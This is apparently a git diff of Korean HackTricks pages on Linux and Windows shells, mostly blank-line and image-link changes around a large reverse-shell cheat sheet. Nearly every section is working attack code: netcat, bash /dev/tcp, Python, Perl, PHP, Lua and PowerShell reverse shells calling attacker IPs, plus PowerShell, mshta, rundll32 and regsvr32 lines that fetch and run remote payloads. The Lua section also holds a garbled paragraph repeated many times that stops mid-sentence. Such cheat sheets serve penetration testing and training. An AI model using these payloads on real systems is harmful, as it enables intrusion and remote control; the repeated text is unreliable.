또 다른 가능성은 `IppSec` 포워드 쉘 구현을 사용하는 것입니다 [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
|
||||
|
@ -112,6 +124,7 @@ toboggan -m nix.py -i
|
|||
그런 다음, **명령을 보내거나** 심지어 **`upgrade` 명령을 사용하여 완전한 PTY를 얻을 수 있습니다** (파이프는 약 1.3초의 지연으로 읽고 쓰입니다).
|
||||
|
||||
## Netcat
|
||||
|
||||
```bash
|
||||
nc -e /bin/sh <ATTACKER-IP> <PORT>
|
||||
nc <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
||||
|
@ -119,32 +132,42 @@ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp
|
|||
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
|
||||
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
|
||||
```
|
||||
|
||||
## gsocket
|
||||
|
||||
[https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)에서 확인하세요.
|
||||
|
||||
```bash
|
||||
bash -c "$(curl -fsSL gsocket.io/x)"
|
||||
```
|
||||
|
||||
## 텔넷
|
||||
|
||||
```bash
|
||||
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
||||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
|
||||
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
|
||||
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
|
||||
```
|
||||
|
||||
## Whois
|
||||
|
||||
**공격자**
|
||||
|
||||
```bash
|
||||
while true; do nc -l <port>; done
|
||||
```
|
||||
|
||||
**피해자**
|
||||
|
||||
명령을 보내려면 적어두고 Enter를 누르고 CTRL+D를 누르세요 (STDIN을 중지하려면)
|
||||
|
||||
```bash
|
||||
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
|
||||
```
|
||||
|
||||
## 파이썬
|
||||
|
||||
```bash
|
||||
#Linux
|
||||
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
||||
|
@ -152,21 +175,27 @@ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOC
|
|||
#IPv6
|
||||
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
|
||||
```
|
||||
|
||||
## Perl
|
||||
|
||||
펄(Pearl)은 유연하고 강력한 스크립팅 언어로, 리눅스 시스템에서 자주 사용됩니다. 펄을 사용하면 효율적으로 작업을 자동화하고 시스템을 관리할 수 있습니다.
|
||||
|
||||
```bash
|
||||
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
|
||||
## 루비
|
||||
|
||||
```bash
|
||||
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
||||
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
```
|
||||
|
||||
## PHP
|
||||
|
||||
PHP는 웹 개발에 널리 사용되는 스크립트 언어입니다. PHP 셸을 사용하여 명령을 실행하고 시스템 명령을 실행할 수 있습니다. 일반적으로 웹 셸을 사용하여 PHP 코드를 실행하고 시스템 명령을 실행할 수 있습니다.
|
||||
|
||||
```php
|
||||
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
|
||||
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
|
||||
|
@ -178,33 +207,43 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
|
|||
|
||||
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
|
||||
```
|
||||
|
||||
## 자바
|
||||
|
||||
```bash
|
||||
r = Runtime.getRuntime()
|
||||
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
|
||||
p.waitFor()
|
||||
```
|
||||
|
||||
## Ncat
|
||||
|
||||
```bash
|
||||
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
|
||||
attacker> ncat -v 10.0.0.22 4444 --ssl
|
||||
```
|
||||
|
||||
## Golang
|
||||
|
||||
## 고랭 (Golang)
|
||||
|
||||
```bash
|
||||
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
|
||||
```
|
||||
|
||||
## Lua
|
||||
|
||||
Lua는 빠르고 가벼운 스크립팅 언어이며, C로 작성되었습니다. Lua는 임베디드 시스템 및 게임 개발에서 널리 사용됩니다. Lua는 사용하기 쉽고 확장 가능하며, 다양한 플랫폼에서 실행될 수 있습니다. Lua는 강력한 표현력을 제공하며, 다른 언어와의 통합이 용이합니다. Lua는 스크립트 언어로 사용되지만, 프로토타입 기반 객체 지향 프로그래밍도 지원합니다. Lua는 C API를 통해 C 코드와 상호 작용할 수 있습니다. Lua는 다양한 분야에서 사용되며, 다양한 라이브러리와 확장이 제공됩니다. Lua는 빠르고 효율적이며, 작은 메모리 공간을 차지합니다. Lua는 다양한 용도로 활용될 수 있으며, 커뮤니티와 문서화가 활발합니다. Lua는 다양한 프로젝트에서 사용되며, 유연성과 확장성을 제공합니다. Lua는 다른 언어와의 통합이 용이하며, 다양한 환경에서 사용할 수 있습니다. Lua는 다양한 플랫폼에서 실행될 수 있으며, 다양한 용도로 활용됩니다. Lua는 다양한 분야에서 사용되며, 다양한 라이브러리와 확장이 제공됩니다. Lua는 빠르고 효율적이며, 작은 메모리 공간을 차지합니다. Lua는 다양한 용도로 활용될 수 있으며, 커뮤니티와 문서화가 활발합니다. Lua는 다양한 프로젝트에서 사용되며, 유연성과 확장성을 제공합니다. Lua는 다른 언어와의 통합이 용이하며, 다양한 환경에서 사용할 수 있습니다. Lua는 다양한 플랫폼에서 실행될 수 있으며, 다양한 용도로 활용됩니다. Lua는 다양한 분야에서 사용되며, 다양한 라이브러리와 확장이 제공됩니다. Lua는 빠르고 효율적이며, 작은 메모리 공간을 차지합니다. Lua는 다양한 용도로 활용될 수 있으며, 커뮤니티와 문서화가 활발합니다. Lua는 다양한 프로젝트에서 사용되며, 유연성과 확장성을 제공합니다. Lua는 다른 언어와의 통합이 용이하며, 다양한 환경에서 사용할 수 있습니다. Lua는 다양한 플랫폼에서 실행될 수 있으며, 다양한 용도로 활용됩니다. Lua는 다양한 분야에서 사용되며, 다양한 라이브러리와 확장이 제공됩니다. Lua는 빠르고 효율적이며, 작은 메모리 공간을 차지합니다. Lua는 다양한 용도로 활용될 수 있으며, 커뮤니티와 문서화가 활발합니다. Lua는 다양한 프로젝트에서 사용되며, 유연성과 확장성을 제공합니다. Lua는 다른 언어와의 통합이 용이하며, 다양한 환경에서 사용할 수 있습니다. Lua는 다양한 플랫폼에서 실행될 수 있으며, 다양한 용도로 활용됩니다. Lua는 다양한 분야에서 사용되며, 다양한 라이브러리와 확장이 제공됩니다. Lua는 빠르고 효율적이며, 작은 메모리 공간을 차지합니다. Lua는 다양한 용도로 활용될 수 있으며, 커뮤니티와 문서화가 활발합니다. Lua는 다양한 프로젝트에서 사용되며, 유연성과 확장성을 제공합니다. Lua는 다른 언어와의 통합이 용이하며, 다양한 환경에서 사용할 수 있습니다. Lua는 다양한 플랫폼에서 실행될 수 있으며, 다양한 용도로 활용됩니다. Lua는 다양한 분야에서 사용되며, 다양한 라이브러리와 확장이 제공됩니다. Lua는 빠르고 효율적이며, 작은 메모리 공간을 차지합니다. Lua는 다양한
|
||||
|
||||
```bash
|
||||
#Linux
|
||||
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
|
||||
#Windows & Linux
|
||||
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||
```
|
||||
|
||||
## NodeJS
|
||||
|
||||
```javascript
|
||||
(function(){
|
||||
var net = require("net"),
|
||||
|
@ -247,15 +286,19 @@ or
|
|||
|
||||
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
|
||||
```
|
||||
|
||||
## OpenSSL
|
||||
|
||||
공격자 (Kali)
|
||||
|
||||
```bash
|
||||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
|
||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
|
||||
```
|
||||
|
||||
피해자
|
||||
|
||||
```bash
|
||||
#Linux
|
||||
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||
|
@ -263,41 +306,53 @@ openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_clien
|
|||
#Windows
|
||||
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||
```
|
||||
|
||||
## **Socat**
|
||||
|
||||
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
|
||||
|
||||
### 바인드 쉘
|
||||
|
||||
```bash
|
||||
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
|
||||
```
|
||||
|
||||
### 리버스 쉘
|
||||
|
||||
```bash
|
||||
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
|
||||
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
```
|
||||
|
||||
## Awk
|
||||
|
||||
```bash
|
||||
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
|
||||
```
|
||||
|
||||
## Finger
|
||||
|
||||
**공격자**
|
||||
|
||||
```bash
|
||||
while true; do nc -l 79; done
|
||||
```
|
||||
|
||||
**피해자**
|
||||
|
||||
명령을 보내려면 적어두고 Enter를 누르고 CTRL+D를 누르세요 (STDIN을 중지하려면)
|
||||
|
||||
```bash
|
||||
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done
|
||||
|
||||
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
|
||||
```
|
||||
|
||||
## Gawk
|
||||
|
||||
## Gawk
|
||||
|
||||
```bash
|
||||
#!/usr/bin/gawk -f
|
||||
|
||||
|
@ -320,28 +375,35 @@ close(Service)
|
|||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Xterm
|
||||
|
||||
이것은 포트 6001에서 시스템에 연결을 시도할 것입니다:
|
||||
|
||||
```bash
|
||||
xterm -display 10.0.0.1:1
|
||||
```
|
||||
|
||||
역쉘을 잡기 위해 다음을 사용할 수 있습니다 (포트 6001에서 수신 대기):
|
||||
|
||||
```bash
|
||||
# Authorize host
|
||||
xhost +targetip
|
||||
# Listen
|
||||
Xnest :1
|
||||
```
|
||||
|
||||
## Groovy
|
||||
|
||||
by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) 참고: Java 역쉘은 Groovy에서도 작동합니다.
|
||||
|
||||
```bash
|
||||
String host="localhost";
|
||||
int port=8044;
|
||||
String cmd="cmd.exe";
|
||||
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
|
||||
```
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
|
||||
|
@ -351,7 +413,7 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/generic-methodologies-and-resources/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# 쉘 - 윈도우
|
||||
# Shells - Windows
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,14 +9,14 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **💬** [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)**에 가입하거나** [**텔레그램 그룹**](https://t.me/peass)**에 가입하거나** 트위터\*\* 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/generic-methodologies-and-resources/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -25,15 +25,18 @@ HackTricks를 지원하는 다른 방법:
|
|||
## Lolbas
|
||||
|
||||
[https://lolbas-project.github.io/](https://lolbas-project.github.io/) 페이지는 [https://gtfobins.github.io/](https://gtfobins.github.io/)가 리눅스를 위한 것처럼 윈도우를 위한 것입니다.\
|
||||
명백히, **윈도우에는 SUID 파일이나 sudo 권한이 없지만**, 어떤 **바이너리**가 일종의 예상치 못한 작업을 수행하기 위해 (남용되어) 사용될 수 있는 방법을 알아두는 것이 유용합니다.
|
||||
명백히, **윈도우에는 SUID 파일이나 sudo 권한이 없지만**, 어떤 **바이너리**가 일종의 예상치 못한 작업을 수행하기 위해 (남용되어) 사용될 수 있는 방법을 알아두는 것이 유용합니다.
|
||||
|
||||
## NC
|
||||
|
||||
```bash
|
||||
nc.exe -e cmd.exe <Attacker_IP> <PORT>
|
||||
```
|
||||
|
||||
## SBD
|
||||
|
||||
**[sbd](https://www.kali.org/tools/sbd/)는 휴대용 및 안전한 Netcat 대체품**입니다. Unix류 시스템과 Win32에서 작동합니다. 강력한 암호화, 프로그램 실행, 사용자 정의 소스 포트, 지속적인 재연결 등의 기능을 갖춘 sbd는 TCP/IP 통신에 대한 다재다능한 솔루션을 제공합니다. Windows 사용자에게는 Kali Linux 배포판의 sbd.exe 버전을 Netcat의 신뢰할 수 있는 대체품으로 사용할 수 있습니다.
|
||||
[**sbd**](https://www.kali.org/tools/sbd/)**는 휴대용 및 안전한 Netcat 대체품**입니다. Unix류 시스템과 Win32에서 작동합니다. 강력한 암호화, 프로그램 실행, 사용자 정의 소스 포트, 지속적인 재연결 등의 기능을 갖춘 sbd는 TCP/IP 통신에 대한 다재다능한 솔루션을 제공합니다. Windows 사용자에게는 Kali Linux 배포판의 sbd.exe 버전을 Netcat의 신뢰할 수 있는 대체품으로 사용할 수 있습니다.
|
||||
|
||||
```bash
|
||||
# Victims machine
|
||||
sbd -l -p 4444 -e bash -v -n
|
||||
|
@ -45,36 +48,48 @@ sbd 10.10.10.10 4444
|
|||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
|
||||
## 파이썬
|
||||
|
||||
```bash
|
||||
#Windows
|
||||
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
|
||||
```
|
||||
|
||||
## Perl
|
||||
|
||||
펄
|
||||
|
||||
```bash
|
||||
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
|
||||
## 루비
|
||||
|
||||
```bash
|
||||
#Windows
|
||||
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
```
|
||||
|
||||
## Lua
|
||||
|
||||
```bash
|
||||
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||
```
|
||||
|
||||
## OpenSSH
|
||||
|
||||
공격자 (Kali)
|
||||
|
||||
```bash
|
||||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
|
||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
|
||||
```
|
||||
|
||||
피해자
|
||||
|
||||
```bash
|
||||
#Linux
|
||||
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||
|
@ -82,28 +97,36 @@ openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_clien
|
|||
#Windows
|
||||
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||
```
|
||||
|
||||
## Powershell
|
||||
|
||||
```bash
|
||||
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
|
||||
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
|
||||
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
|
||||
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
|
||||
```
|
||||
|
||||
네트워크 호출을 수행하는 프로세스: **powershell.exe**\
|
||||
디스크에 기록된 페이로드: **아니요** (_procmon을 사용하여 찾을 수 있는 곳에는 적어도 없습니다!_)
|
||||
|
||||
```bash
|
||||
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
||||
```
|
||||
|
||||
네트워크 호출을 수행하는 프로세스: **svchost.exe**\
|
||||
디스크에 기록된 페이로드: **WebDAV 클라이언트 로컬 캐시**
|
||||
|
||||
```bash
|
||||
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
||||
```
|
||||
|
||||
**이 문서의 끝에서 다양한 Powershell 쉘에 대한 자세한 정보를 확인하세요**
|
||||
|
||||
## Mshta
|
||||
|
||||
* [여기에서](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
```bash
|
||||
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
|
||||
```
|
||||
|
@ -115,15 +138,19 @@ mshta http://webserver/payload.hta
|
|||
```bash
|
||||
mshta \\webdavserver\folder\payload.hta
|
||||
```
|
||||
|
||||
#### **hta-psh 역술 (hta를 사용하여 PS 백도어 다운로드 및 실행)**
|
||||
|
||||
```xml
|
||||
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
|
||||
```
|
||||
|
||||
**Koadic 좀비를 매우 쉽게 다운로드하고 실행할 수 있습니다. 스테이저 hta를 사용하여**
|
||||
|
||||
#### hta 예제
|
||||
|
||||
[**여기서**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
|
||||
|
||||
```xml
|
||||
<html>
|
||||
<head>
|
||||
|
@ -138,9 +165,11 @@ new ActiveXObject('WScript.Shell').Run(c);
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
#### **mshta - sct**
|
||||
|
||||
[**여기에서**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
|
||||
```xml
|
||||
<?XML version="1.0"?>
|
||||
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
||||
|
@ -156,9 +185,11 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
|||
</script>
|
||||
</scriptlet>
|
||||
```
|
||||
|
||||
#### **Mshta - Metasploit**
|
||||
|
||||
Mshta is a utility in Windows that executes Microsoft HTML Applications (HTA). Metasploit has a module that can be used to execute malicious HTA payloads using mshta.exe. This technique can be used to bypass application whitelisting and execute code on a target system.
|
||||
|
||||
```bash
|
||||
use exploit/windows/misc/hta_server
|
||||
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
|
||||
|
@ -169,16 +200,15 @@ msf exploit(windows/misc/hta_server) > exploit
|
|||
```bash
|
||||
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
|
||||
```
|
||||
|
||||
**디펜더에 의해 감지됨**
|
||||
|
||||
|
||||
|
||||
|
||||
## **Rundll32**
|
||||
|
||||
[**Dll hello world example**](https://github.com/carterjones/hello-world-dll)
|
||||
|
||||
* [여기서](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
```bash
|
||||
rundll32 \\webdavserver\folder\payload.dll,entrypoint
|
||||
```
|
||||
|
@ -186,11 +216,13 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint
|
|||
```bash
|
||||
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
|
||||
```
|
||||
|
||||
**Defender에 의해 감지됨**
|
||||
|
||||
**Rundll32 - sct**
|
||||
|
||||
[**여기에서**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
|
||||
```xml
|
||||
<?XML version="1.0"?>
|
||||
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
||||
|
@ -205,13 +237,17 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
|||
</script>
|
||||
</scriptlet>
|
||||
```
|
||||
|
||||
#### **Rundll32 - Metasploit**
|
||||
|
||||
```bash
|
||||
use windows/smb/smb_delivery
|
||||
run
|
||||
#You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0
|
||||
```
|
||||
|
||||
**Rundll32 - Koadic**
|
||||
|
||||
```bash
|
||||
use stager/js/rundll32_js
|
||||
set SRVHOST 192.168.1.107
|
||||
|
@ -220,9 +256,11 @@ run
|
|||
#Koadic will tell you what you need to execute inside the victim, it will be something like:
|
||||
rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();
|
||||
```
|
||||
|
||||
## Regsvr32
|
||||
|
||||
* [여기에서](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
```bash
|
||||
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
|
||||
```
|
||||
|
@ -230,11 +268,13 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
|
|||
```
|
||||
